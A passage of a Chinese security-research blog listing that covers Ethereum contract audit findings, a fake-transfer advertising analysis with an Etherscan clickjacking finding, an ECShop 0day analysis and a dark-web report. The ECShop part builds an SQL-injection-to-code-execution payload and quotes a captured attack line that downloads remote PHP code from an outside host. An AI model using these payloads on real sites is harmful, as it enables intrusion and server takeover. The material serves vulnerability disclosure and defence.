    截止2018年9月21日,我们发现了173个存在余额判断问题的合约代码,其中165个仍处于交易状态,其中交易量最高的10个合约情况如下:

    4、转账函数问题

    截止2018年9月21日,我们发现了930个存在转账函数问题的合约代码,其中873个仍处于交易状态,其中交易量最高的10个合约情况如下:

    5、弱随机数问题

    截止2018年9月21日,我们发现了349个存在弱随机数问题的合约代码,其中272个仍处于交易状态,其中交易量最高的10个合约情况如下:

    截止2018年9月21日,我们发现了2300个存在调用了block.timestamp的合约代码,其中2123个仍处于交易状态,其中交易量最高的10个合约情况如下:

    四、修复方式

    1、地址初始化问题

    涉及到地址的函数中,建议加入require(_to!=address(0))验证,有效避免用户误操作或未知错误导致的不必要的损失

    2、判断函数问题

    对于正常的判断来说,优先使用require来判断结果。

    而对于固定变量的检查,使用assert函数可以避免一些未知的问题,因为他会强制终止合约并使其无效化,在一些固定条件下,assert更适用

    3、余额判断问题

    不要在合约任何地方假设合约的余额,尤其是不要通过创建时合约为0来判断合约初建状态,攻击者可以使用多种方式强制转账。

    4、转账函数问题

    在完成交易时,默认推荐使用transfer函数而不是send完成交易。

    5、代码外部调用设计问题

    对于外部合约优先使用pull而不是push。如上述的转账函数,可以通过赋予提取权限来将主动行为转换为被动行为

    通过构建withdraw来使用户来执行合约将余额取出。

    6、错误处理

    合约中涉及到call等在address底层操作的方法时,做好合理的错误处理

    包括目标合约不存在时,也同样需要考虑。

    7、弱随机数问题

    智能合约上随机数生成方式需要更多考量

    在合约中关于这样的应用时,考虑更合适的生成方式和合理的利用顺序非常重要。

    这里提供一个比较合理的随机数生成方式hash-commit-reveal,即玩家提交行动计划,然后行动计划hash后提交给后端,后端生成相应的hash值,然后生成对应的随机数reveal,返回对应随机数commit。这样,服务端拿不到行动计划,客户端也拿不到随机数。

    有一个很棒的实现代码是dice2win的随机数生成代码。

    当然hash-commit在一些简单场景下也是不错的实现方式。即玩家提交行动计划的hash,然后生成随机数,然后提交行动计划。

    五、一些思考

    在探索智能合约最佳实践的过程中,逐渐发现,在智能合约中有很多只有智能合约才会出现的问题,这些问题大多都是因为EVM的特殊性而导致的特殊特性,但开发者并没有对这些特性有所了解,导致很多的潜在安全问题诞生。

    我把这一类问题归结为编码设计问题,开发者可以在编码设计阶段注意这些问题,可以避免大多数潜在安全问题。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/707/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • 【9.20更新】blockwell.ai KYC Casper Token “牛皮癣广告” 事件分析

    2018-09-18
    作者:知道创宇404区块链安全研究团队
    时间:2018/09/13

    一、背景

    2018年9月7日早上1点左右,许多以太坊钱包账户都收到了一种名为blockwell.ai KYC Casper Token代币转进/出账消息:

    令人奇怪的是这些账号均表示之前对这个Token的“一无所知”,当这些收到消息用户并没有真正收到提示的那100个代币,而那些提示有100代币转出的用户在之前也并没有拥有过这种代币,这一切都显得“莫名其妙”!更加让一部分人奇怪和担心的是,这些“转进/出账”的操作,都不需要钱包拥有者的的任何密码私钥输入,于是很多不明真相的用户担心自己的钱包是不是被人恶意攻击 ...

    二、事件跟踪

    首先我们从blockwell.ai KYC Casper Token

    交易页面,看到的交易记录都是转出100代币的记录,没有任何转入记录。

    再看看实际转账到账户的交易信息

    可以看到通过调用这个合约,发起了一笔代币转账,在event logs里可以看到实际的交易

    然后具体的交易地址为

    整笔交易花费了244w的gas,价值2.28美元,有针对的从500个用户转账给了500个用户。

    继续跟踪到转账的from地址:

    正如文章开头提到的那样:所有的来源账户本身都是不持有这种代币的,跟踪一下也可以发现,无论是发起交易者还是接受交易者,都没有发生实际代币的变化。

    但是这些交易记录确实被保存在链上,那么这个事件的核心问题就在于:“这些记录是怎么被产生并记录的?”

    三、事件原理

    我们从合约分析入手

    不出所料,这种事件型的合约代码并不会直接给你开放源代码,通过利用我们404自主研发的智能合约OPCODE逆向工具,反编译后得到如下代码:

    源码如下

    从代码中可以很明显的看到一个特殊的函数x_975ef7df,这是唯一一个涉及到数组操作,且会触发Tranfser事件的函数。

    从代码中可以很清晰的看到, 在对地址列表的循环中,只触发了Transfer事件,没有任何其余的操作。

    我们知道遵守以太坊ERC20标准的合约代币才会被承认为ERC20代币,ERC20代币会直接被交易所承认。而 在ERC20标准中规定,transfer函数必须触发Transfer事件,事件会被记录在event log中,是不是说明平台和交易所在获取ERC20代币交易信息,是通过event log事件获取的呢?我们来测试一下。

    四、事件复现

    首先我们需要编写一个简单的ERC20标准的代币合约

    合约代币需要规定好代币的名称等信息,然后我们定义一个mylog函数。

    这里我们通过remix进行部署(由于需要交易所获得提示信息,所以我们需要部署在公链上)

    测试合约地址

    注:这里需要强调的是:转出/入账的地址都是可以自定义的,这也就是为什么所有的来源账户本身都是不持有这种代币的原因。

    然后直接发起交易

    然后我们的imtoken提示了消息,注意收到的消息了包含了我们的代码里 symbol = "RMB";的值rmb

    回看余额可以发现没有实际转账诞生。

    五、事件目的

    通过上面分析及测试,我们发现整个事件最后只说了一件事情就是伪照了大量的虚假交易记录,并没有其他“实质”性的恶意操作,那么这个事件的目的是什么呢?

    我们回顾下整个事件的流程:

    创建一个token ---> 伪造交易记录 ---> 钱包或交易平台获取交易记录 ---> 推送给用户

    如果能找到自定义的消息,那么这是一条完美的消息推广链!这个事件的始作俑者非常聪明的利用了token名这个自定义输入点:blockwell.ai KYC Casper Token,blockwell.ai这个就是本次事件的主要目的,牛皮癣小广告推广这个网站。

    看你有的人会说如果只是用来做广告推广的话,完全可以使用代币的真实转账记录来推广,而不是利用伪造交易记录。这里需要提醒大家的是“广告费”的问题,这个“广告费”也就是合约操作里的gas消耗,伪造交易记录只需要Transfer操作的gas可以大大节省这个“广告费”,本次事件整个过程的话费的“广告费”约2.28美元的gas,就实现了对1000个用户有针对的推送了精准广告。

    六、总结

    结合以往的各种事件,相比于区块链的各种有限应用场景里,在“恶意”攻击或者利用的层面,攻击者们表现出了惊人的“创意”,本次事件利用了”交易所/平台却盲目信任符合ERC20标准的合约“的特点,使用了以太坊平台本身实现的“bug”,利用了最少的“广告费”实现了精准的用户广告推送。

    另外一个值得我们去关注的点就是被用来做消息推送的点是可以自定义的,那么可能导致的风险是非常值得思考的:比如推送钓鱼网站信息,推送其他非法类型的小广告及言论,会导致钱包等平台应用方的用户的其他不可以预期的风险!我们也提醒各大钱包、交易所等平台警惕此类风险,必要时针对这些可自定义点进行相关识别及过滤。

    9月20日更新:一个有趣的点击劫持漏洞

    在复现上述漏洞的过程中,我们发现了一个有趣的漏洞,在上述合约代币用于做小广告的区域,是很少的一块我们可控的智能合约属性。

    那么假设合约展示平台如etherscan等,没有对这里做合理的处理,是不是可能会存在xss等漏洞呢。

    经过测试我们发现Etherscan就存在这样的点击劫持漏洞

    首先我们先部署以下代码

    部署后我们我们用合约发起一次交易

    然后查看etherscan的页面,在非常重要的进入查看合约信息的地方,成功被设置为其他地址的a标签

    当开发者或者用户想要查看合约信息的时候,点击按钮就会跳转到其他地方做进一步利用。

    这是一个潜力很大的点击劫持漏洞,攻击者完全可以用这种方式来诱导开发者或用户到错误的合约,甚至伪造的etherscan导致更大的危害。

    该漏洞目前已上报etherscan官方并修复。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/700/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • 以太坊合约审计 CheckList 之“以太坊智能合约编码安全问题”影响分析报告

    2018-09-12
    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年9月6日
    系列文章:

    一、简介

    在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,把“溢出问题”、“重入漏洞”、“权限控制错误”、“重放攻击”等问题统一归类为“以太坊智能合约编码安全问题”。

    “昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约编码安全”类问题在全网公开的智能合约代码做了扫描分析。详见下文:

    二、漏洞详情

    1、溢出问题

    以太坊Solidity设计之初就被定位为图灵完备性语言。在solidity的设计中,支持int/uint变长的有符号或无符号整型。变量支持的步长以8递增,支持从uint8到uint256,以及int8到int256。需要注意的是,uint和int默认代表的是uint256和int256。uint8的数值范围与C中的uchar相同,即取值范围是0到2^8-1,uint256支持的取值范围是0到2^256-1。而当对应变量值超出这个范围时,就会溢出至符号位,导致变量值发生巨大的变化。

    (1) 算数溢出

    在Solidity智能合约代码中,在余额的检查中如果直接使用了加减乘除没做额外的判断时,就会存在算术溢出隐患

    在上述代码中,由于没有校验_amount一定会小于balances[msg.sender],所以攻击者可以通过传入超大数字导致溢出绕过判断,这样就可以一口气转走巨额代币。

    2018年4月24日,SMT/BEC合约被恶意攻击者转走了50,659,039,041,325,800,000,000,000,000,000,000,000,000,000,000,000,000,000,000个SMT代币。恶意攻击者就是利用了SMT/BEC合约的整数溢出漏洞导致了这样的结果。

    2018年5月19日,以太坊Hexagon合约代币被公开存在整数溢出漏洞

    (2) 铸币烧币溢出问题

    作为一个合约代币的智能合约来说,除了有其他合约的功能以外,还需要有铸币和烧币功能。而更特殊的是,这两个函数一般都为乘法或者指数交易,很容易造成溢出问题。

    上述代码未对代币总额做限制,会导致指数算数上溢。

    2018年6月21日,Seebug Paper公开了一篇关于整数溢出漏洞的分析文章ERC20 智能合约整数溢出系列漏洞披露,里面提到很多关于指数上溢的漏洞样例。

    2、call注入

    Solidity作为一种用于编写以太坊智能合约的图灵完备的语言,除了常见语言特性以外,还提供了调用/继承其他合约的功能。在calldelegatecallcallcode三个函数来实现合约之间相互调用及交互。正是因为这些灵活各种调用,也导致了这些函数被合约开发者“滥用”,甚至“肆无忌惮”提供任意调用“功能”,导致了各种安全漏洞及风险。

    上述代码就是一个典型的存在call注入问题直接导致重入漏洞的demo。

    2016年7月,The DAO被攻击者使用重入漏洞取走了所有代币,损失超过60亿,直接导致了eth的硬分叉,影响深远。

    2017年7月20日,Parity Multisig电子钱包版本1.5+的漏洞被发现,使得攻击者从三个高安全的多重签名合约中窃取到超过15万ETH ,其事件原因是由于未做限制的 delegatecall 函数调用了合约初始化函数导致合约拥有者被修改。

    2018年6月16日,「隐形人真忙」在先知大会上分享了「智能合约消息调用攻防」的议题,其中提到了一种新的攻击场景——call注⼊,主要介绍了利用对call调用处理不当,配合一定的应用场景的一种攻击手段。接着于 2018年6月20日,ATN代币团队发布「ATN抵御黑客攻击的报告」,报告指出黑客利用call注入攻击漏洞修改合约拥有者,然后给自己发行代币,从而造成 ATN 代币增发。

    2018年6月26日,知道创宇区块链安全研究团队在Seebug Paper上公开了《以太坊 Solidity 合约 call 函数簇滥用导致的安全风险》

    3、权限控制错误

    在智能合约中,合约开发者一般都会设置一些用于合约所有者,但如果开发者疏忽写错了函数权限,就有可能导致所有者转移等严重后果。

    上述代码函数就需要设置onlyOwner。

    4、重放攻击

    2018年,DEFCON26上来自 360 独角兽安全团队(UnicornTeam)的 Zhenzuan Bai, Yuwei Zheng 等分享了议题《Your May Have Paid More than You Imagine:Replay Attacks on Ethereum Smart Contracts》

    在攻击中提出了智能合约中比较特殊的委托概念。

    在资产管理体系中,常有委托管理的情况,委托人将资产给受托人管理,委托人支付一定的费用给受托人。这个业务场景在智能合约中也比较普遍。

    这里举例子为transferProxy函数,该函数用于当user1转token给user3,但没有eth来支付gasprice,所以委托user2代理支付,通过调用transferProxy来完成。

    上述代码nonce值可以被预测,而其他变量不变的情况下,可以通过重放攻击来多次转账。

    三、漏洞影响范围

    使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。

    基于Haotian平台智能合约审计功能规则,我们对全网的公开的共42538个合约代码进行了扫描,其中共1852个合约涉及到这类问题。

    1、溢出问题

    截止2018年9月5日,我们发现了391个存在算数溢出问题的合约代码,其中332个仍处于交易状态,其中交易量最高的10个合约情况如下:

    截止2018年9月5日,我们发现了1636个存在超额铸币销币问题的合约代码,其中1364个仍处于交易状态,其中交易量最高的10个合约情况如下:

    2、call注入

    截止2018年9月5日,我们发现了204个存在call注入问题的合约代码,其中140个仍处于交易状态,其中交易量最高的10个合约情况如下:

    3、重放攻击

    截止2018年9月5日,我们发现了18个存在重放攻击隐患问题的合约代码,其中16个仍处于交易状态,其中交易量最高的10个合约情况如下:

    四、修复方式

    1、溢出问题

    1) 算术溢出问题

    在调用加减乘除时,通常的修复方式都是使用openzeppelin-safeMath,但也可以通过对不同变量的判断来限制,但很难对乘法和指数做什么限制。

    2)铸币烧币溢出问题

    铸币函数中,应对totalSupply设置上限,避免因为算术溢出等漏洞导致恶意铸币增发。

    在铸币烧币加上合理的权限限制可以有效减少该问题危害。

    2、call注入

    call函数调用时,应该做严格的权限控制,或直接写死call调用的函数。避免call函数可以被用户控制。

    在可能存在重入漏洞的代码中,经可能使用transfer函数完成转账,或者限制call执行的gas,都可以有效的减少该问题的危害。

    上述代码是一种用互斥锁来避免递归防护方式。

    3、权限控制错误

    合约中不同函数应设置合理的权限

    检查合约中各函数是否正确使用了public、private等关键词进行可见性修饰,检查合约是否正确定义并使用了modifier对关键函数进行访问限制,避免越权导致的问题。

    4、重放攻击

    合约中如果涉及委托管理的需求,应注意验证的不可复用性,避免重放攻击。

    其中主要的两点在于: 1、避免使用transferProxy函数。采用更靠谱的签名方式签名。 2、nonce机制其自增可预测与这种签名方式违背,导致可以被预测。尽量避免nonce自增。

    五、一些思考

    在完善智能合约审计checklist时,我选取了一部分问题将其归为编码安全问题,这类安全问题往往是开发者疏忽导致合约代码出现漏洞,攻击者利用代码中的漏洞来攻击,往往会导致严重的盗币事件。

    在我们使用HaoTian对全网的公开合约进行扫描和监控时,我们发现文章中提到的几个问题涉及到的合约较少。由于智能合约代码公开透明的特性,加上这类问题比较容易检查出,一旦出现就会导致对合约的毁灭性打击,所以大部分合约开发人员都会注意到这类问题。但在不容易被人们发现的未公开合约中,或许还有大批潜在的问题存在。

    这里我们建议所有的开发者重新审视自己的合约代码,检查是否存在编码安全问题,避免不必要的麻烦或严重的安全问题。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/696/

    作者:Elfinx | Categories:技术分享 | Tags:
  • ECShop 0day 的堕落之路

    2018-09-12
    Author: Badcode@知道创宇404实验室
    Date: 2018/09/04

    背景

    ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。2018年6月13日,知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”防御拦截并捕获到一个针对某著名区块链交易所网站的攻击,通过分析,发现攻击者利用的正式ECShop 2.x版本的0day漏洞攻击。于2018年6月14日,提交到知道创宇Seebug漏洞平台并收录

    随后于2018年8月31日,ID为“ringk3y”研究人员在其博客公开这个漏洞,并做了详细分析,该分析收录在Seebug Paper

    知道创宇404积极防御团队于2018年9月2日正式对外发布《ECShop全系列版本的远程代码执行漏洞》预警。

    从2018年的6月13日首次拦截后,知道创宇404实验室多个团队对这个利用ECShop 0day攻击事件进行持续的监控分析,从下文的分析结果可以看出一个0day漏洞在实际攻击中的各个阶段的“堕落”过程。

    漏洞分析

    该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

    值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过我们分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击(详见下文分析)。

    注:以下代码分析基于ECShop 2.7.3

    SQL 注入漏洞

    首先看到ecshop/user.php

    可以看到$back_act是从HTTP_REFERER获取到的,HTTP_REFERER是外部可控的,这也是万恶的根源。

    接着将back_act变量传递给assign函数,跟进ecshop/includes/cls_template.php

    可以从注释了解这个函数的功能,是注册模板变量,也就是$back_act变成了$this->_var[$back_act]=$back_act,而后调用display函数

    user.php调用display函数,传递进来的$filenameuser_passport.dwt,从函数来看,首先会调用$this->fetch来处理user_passport.dwt模板文件,fetch函数中会调用$this->make_compiled来编译模板。user_passport.dwt其中一段如下:

    make_compiled会将模板中的变量解析,也就是在这个时候将上面assign中注册到的变量$back_act传递进去了,解析完变量之后返回到display函数中。此时$out是解析变量后的html内容,判断$this->_echash是否在$out中,若在,使用$this->_echash来分割内容,得到$k然后交给insert_mod处理。

    由于_echash是默认的,不是随机生成的,所以$val内容可随意控制。跟进$this->insert_mod

    $val传递进来,先用|分割,得到$fun$para$para进行反序列操作,$funinsert_拼接,最后动态调用$fun($para),函数名部分可控,参数完全可控。接下来就是寻找以insert_开头的可利用的函数了,在ecshop/includes/lib_insert.php有一个insert_ads函数,正好满足要求。看下insert_ads

    $arr是可控的,并且会拼接到SQL语句中,这就造成了SQL注入漏洞。

    根据上面的流程,可以构造出如下形式的payload

    实际可利用payload

    代码执行

    继续看insert_ads函数

    可以看到在SQL查询结束之后会调用模板类的fetch方法,在user.php中调用display,然后调用fetch的时候传入的参数是user_passport.dwt,而在此处传入的参数是$position_style,向上溯源,发现是$row['position_style']赋值而来,也就是SQL语句查询的结果,结果上面这个SQL注入漏洞,SQL查询的结果可控,也就是$position_style可控。

    要到$position_style = $row['position_style'];还有一个条件,就是$row['position_id']要等于$arr['id'],查询结果可控,arr['id']同样可控。

    之后$position_style会拼接'str:'传入fetch函数,跟进fetch

    因为之前拼接'str:'了,所以strncmp($filename,'str:', 4) == 0为真,然后会调用危险函数$this->_eval,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str方法的处理,跟进

    第一个正则会匹配一些关键字,然后置空,主要看下最后一个正则

    这个正则是将捕获到的值交于$this-select()函数处理。例如,$source的值是xxx{$abc}xxx,正则捕获到的group 1 就是$abc,然后就会调用$this-select("$abc")

    跟进select函数

    当传入的变量的第一个字符是$,会返回由 php 标签包含变量的字符串,最终返回到_eval()危险函数内,执行。在返回之前,还调用了$this->get_var处理,跟进get_var

    当传入的变量没有.$时,调用$this->make_var,跟进make_var

    在这里结合select函数里面的语句来看,<?php echo $this->_var[' $val '];?>,要成功执行代码的话,$val必须要把['闭合,所以payload构造,从下往上构造,$valabc'];echo phpinfo();//;从select函数进入get_var的条件是第一个字符是$,所以payload变成了$abc'];echo phpinfo();//;而要进入到select,需要被捕获,payload变成了{$abc'];echo phpinfo();//},这里因为payload的是phpinfo(),这里会被fetch_str函数的第一个正则匹配到,需要变换一下,所以payload变为{$abc'];echo phpinfo/**/();//},到这里为止,php 恶意代码就构造完成了。

    接下来就是把构造好的代码通过SQL注入漏洞传给$position_style。 这里可以用union select 来控制查询的结果,根据之前的流程,$row['position_id']$arr['id']要相等,$row['position_id']是第二列的结果,$position_style是第九列的结果。$arr['id']传入' /*,$arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -0x27202f2a' /*的16进制值,也就是$row['position_id']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d是上面构造的php代码的16进制值,也就是$position_style

    结合之前的SQL漏洞的payload构造,所以最终的payload的是

    可以看到成功的执行了phpinfo()

    ECShop 3.x 绕过

    上述的测试环境都是2.7.3的,理论上打2.x都没问题,而在3.x上是不行的,原因是3.x自带了个WAF(ecshop/includes/safety.php),对所有传入的参数都做了检测,按照上面构造的 payload ,union select 会触发SQL注入的检测规则,有兴趣的可以去绕绕,我没绕过。。

    下面的测试版本为ECshop3.0,3.x版本的echash45ea207d7a2b68c49582d2d22adf953a。 上面说了 insert_ads 函数存在注入,并且有两个可控点,$arr['id']$arr['num'],可以将union select通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用/**/注释掉,这样就不会触发WAF。

    实际攻击分析

    上文提到该漏洞最早由知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”在2018年6月13日拦截并捕获,随后针对这个漏洞的攻击情况做了详细的监控及跟进:

    第一阶:0day在野之“APT攻击” (2018年6月13日)

    首次捕获到 2.x 的 payload 是被用来攻击某区块链交易所网站,因此我们高度怀疑攻击者是用 0day 来攻击区块链交易所的 apt团队。样本中 payload 通过HTTP 请求头的Referer字段植入,如下

    把捕获的 payload 转码出来看

    恶意代码

    base64部分的内容是

    可以看到,没有写入 webshell,而是直接接收$_POST['Nox']参数,进行base64解码后直接传入eval函数执行代码,相当于一个无文件的 webshell ,非常隐蔽。

    本次攻击是由一个日本ip(35.200.*.*)发起,通过攻击的手法及使用的paylaod等情况来看,并直接了当地用来攻击某著名区块链交易所,我们高度怀疑是目的性非常明确的“APT攻击”。

    第二阶:0day在野之“黑产攻击” (2018年8月)

    在随后整个7月都没有出现利用该漏洞攻击的记录直到8月初,在整个8月拦截捕获该0day漏洞攻击记录10余次,攻击者使用的 payload 都相同,且都是一个菲律宾IP(180.191.*.*)发起的攻击。如下:

    // file_put_contents('1.php',file_get_contents('http://uee.me/MrJc'));和这篇分析文章里捕获到的样本一致。

    从整个8月拦截的10余次攻击目标,payload等手法来看,我们认为极有可能该0day漏洞已经被流入到“高端黑产”团队,并进行了批量自动化攻击。

    第三阶:0day曝光之“疯狂攻击” (2018年8月31日后)

    在2018年8月31日漏洞细节被公开之后,攻击数量开始增加,捕获到的 payload 也变的多种多样,漏洞被广泛利用。

    从这些人使用的攻击目标、手法及payload(攻击使用的payload仍然只适用于2.x版本,目前为止没有看到使用针对3.x payload攻击)等情况来看,考虑大量的“低端黑产”玩家开始加入进来,继续“疯狂”的抓鸡行动中,榨干这个漏洞的最后一滴“油水”...

    漏洞影响范围及修复

    根据ZoomEye网络空间搜索引擎对ECShop关键字的搜索结果,共找到42400 条历史记录。

    漏洞修复

    目前我们分析下载最新版的ECShop 4.0里对这个漏洞进行修复:

    看到ecshop4/ecshop/includes/lib_insert.php

    可以看到,将传递进来的$arr[id]$arr[num]强制转换成整型,这样就没法利用这个漏洞了。

    另外我们注意到官方并没有发布针对老版本的(2.x和3.x)的独立修复补丁,相关老版本的用户可参考ECShop 4.0代码来修复或者直接升级到ECShop 4.0。

    小结

    本次ECShop这个漏洞挖掘到漏洞利用非常有技术含量,可以算是一个经典的“二次漏洞”案例,从一个SQL注入漏洞最后完美实现转变为代码执行漏洞。另外从这个漏洞在野外实际利用的过程,也非常的“经典”,完美重现了一个0day漏洞被挖掘利用转变为“武器”后的完美历程:从被用来目标明确的“定向攻击”,再到“黑产”高端玩家,直到最后在曝光后沦为黑产“抓鸡”工具的“堕落” ...

    感谢我们404实验室各团队小伙伴的努力~~ 我爱你们~~

    参考链接


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/695/

    作者:Elfinx | Categories:安全研究安全科普 | Tags:
  • 2018上半年暗网研究报告

    2018-09-12
    作者:知道创宇404实验室
    报告下载:《2018上半年暗网研究报告》

    1 基本概念

    1.1 Deep web/Dark web/Darknet

    讲述暗网之前,需要先了解“深网”(Deep web)、“暗网”(Dark web) 和“黑暗网络”(Darknet) 这三个词。虽然媒体可能经常交替使用它们,但实际上它们代表着截然不同而又相关的互联网区段。

    “深网”(Deep web) 是指服务器上可通过标准的网络浏览器和连接方法访问的页面和服务,但主流搜索引擎不会收录这些页面和服务。搜索引擎之所以不会收录深网,通常是因为网站或服务的配置错误、拒绝爬虫爬取信息、需要付费查看、需要注册查看或其他内容访问限制。

    “暗网”(Dark web) 是深网中相对较小的一部分,与被故意隐藏的 Web 服务和页面有关。仅使用标准浏览器无法直接访问这些服务和页面,必须依靠使用覆盖网络 (Overlay Network);而这种网络需要特定访问权限、代理配置、专用软件或特殊网络协议。

    “黑暗网络”(Darknet) 是在网络层访问受限的框架,例如 Tor 或 I2P。私有 VPN 和网状网络 (Mesh Network) 也属于这个类别。通过这些框架的网络流量会被屏蔽。当进行数据传输时,系统只会显示您连接的黑暗网络以及您传输了多少数据,而不一定会显示您访问的网站或所涉及数据的内容。与之相反的是,直接与明网(Clean Net)或与未加密的表网服务和深网服务交互。在这种情况下,您与所请求资源之间的互联网服务提供商 (ISP) 和网络运营商可以看到您传输的流量内容。

    1.2 暗网 (Dark Web) 的组成

    暗网只能通过Tor (The Onion Routing)和I2P(Invisible Internet Project)等网络访问。

    Tor又名洋葱网络,是用于匿名通信的软件,该名称源自原始软件项目名称“The Onion Router”的首字母缩写词,Tor网络由超过七千个中继节点组成,每个中继节点都是由全球志愿者免费提供,经过层层中继节点的中转,从而达到隐藏用户真实地址、避免网络监控及流量分析的目的。

    I2P网络是由I2P路由器以洋葱路由方式组成的表层网络,创建于其上的应用程序可以安全匿名的相互通信。它可以同时使用UDP及TCP协议,支持UPnP映射。其应用包括匿名上网、聊天、网站搭建和文件传输。

    通过知道创宇“暗网雷达”的实时监测数据表明,Tor 网络大约拥有12万个独立域名(onion address),而I2P网络公开地址薄大约只有8千个地址,体量相对 Tor 网络要小得多。

    2 暗网的现状

    2.1 Tor全球中继节点分布

    截至2018年7月31日,我们统计了全球中继节点的分布状况,全球总计有17635个中继节点,其中正在运行的有6386个,它们的平均带宽为5.33MB/s,最大带宽为99MB/s;相比其他区域而言,北美和欧洲的带宽更大;大部分中继节点分布在北美和欧洲,中国香港只有6个。

    因此可以得出结论,相比表网而言,暗网的规模要小的很多,Tor 网络节点带宽不足以支撑超大的网络流量,网络媒体关于暗网与表网的“冰山比喻”有些夸张了。

    2.2 Tor 网络数据统计

    根据Tor官方项目的统计数据显示,2018年上半年Tor暗网地址(onion addresses (version 2 only))数量峰值为121078个。

    图2.2 暗网地址数量Tor网络来自中国用户数量平均每天1159人,高峰期为2018年5月9日,达到3951人,绝大多数暗网中文用户使用 Meet 类型的流量访问Tor暗网。

    图2.2. 暗网中国用户数量统计针对约12万左右的暗网域名,我们深入进行了研究,得出结论:

    • Onion域名每日存活量约1.2万左右,只占总数的10%;
    • Onion v2 类型的域名有121451个,v3类型的域名只有379个;
    • 每日平均暗网新增数量为30个;

    2.3 Tor暗网的主要类别

    通过知道创宇“暗网雷达”的监测,我们将暗网归为12大类,各类占比如上图所示;通过对各类中独立域名的标题进行整合分析,提取网站标题中关键字出现的频率,生成词云:

    • 商业类占18.98%;其中包括交易市场,自营商店,第三方托管平台(网站担保);交易品种大多是信用卡、枪支、毒品、护照、电子产品、伪钞、欧元票据、亚马逊礼品卡、解密服务、杀手服务、比特币洗钱服务等;大多数网站使用比特币进行交易。
    • 个人类占5.90%;包括个人博客,页面,书籍等。
    • 社会类占4.57%;包括论坛,暗网维基等。
    • 其他语言(非英语)占3.82%;
    • 主机托管类占3.05%;主要为暗网服务托管商的宣传站,介绍其机器性能与架构。
    • 成人类占2.87%;
    • 技术类占2.74%;分享技术/出售黑客技术/售卖0day/漏洞利用
    • 核心网站占1.91%;包括暗网搜索引擎,暗网链接目录等
    • 通讯类占1.79%;包括聊天室,邮件服务,暗网邮箱
    • 政治与宗教类占1.34%;包括暗网的新闻媒体机构,全球维基解密,政党丑闻,激进主义言论,传教等。
    • 赌博类占0.46%;网络赌场等。
    • 其他类(艺术,音乐,需登陆的,无内容,被查封的,视频等)占52.57%;

    可以看到”Freedom Hosting II - hacked”这几个词在各大类中都占据很高的比例。原因是匿名者组织(Anonymous)攻击了当时最大的Tor暗网托管服务提供商Freedom Hosting II,因为它向大量共享儿童色情图片的网站提供主机托管服务。直接导致约20%的Tor网站关闭。

    2.4 Tor暗网Web服务分布

    我们统计了排名前20的Web服务器, 绝大多数暗网网站使用Nginx和Apache作为Web服务器,约1%的暗网使用了Cloudflare作为其 DDoS防护措施。

    2.5 Tor暗网开放端口分布

    http 80端口占69.55%;smtp 25端口占比23.24%;https 443端口占2.88%;ssh 22端口占1.68%。

    2.6 Tor暗网语种分布

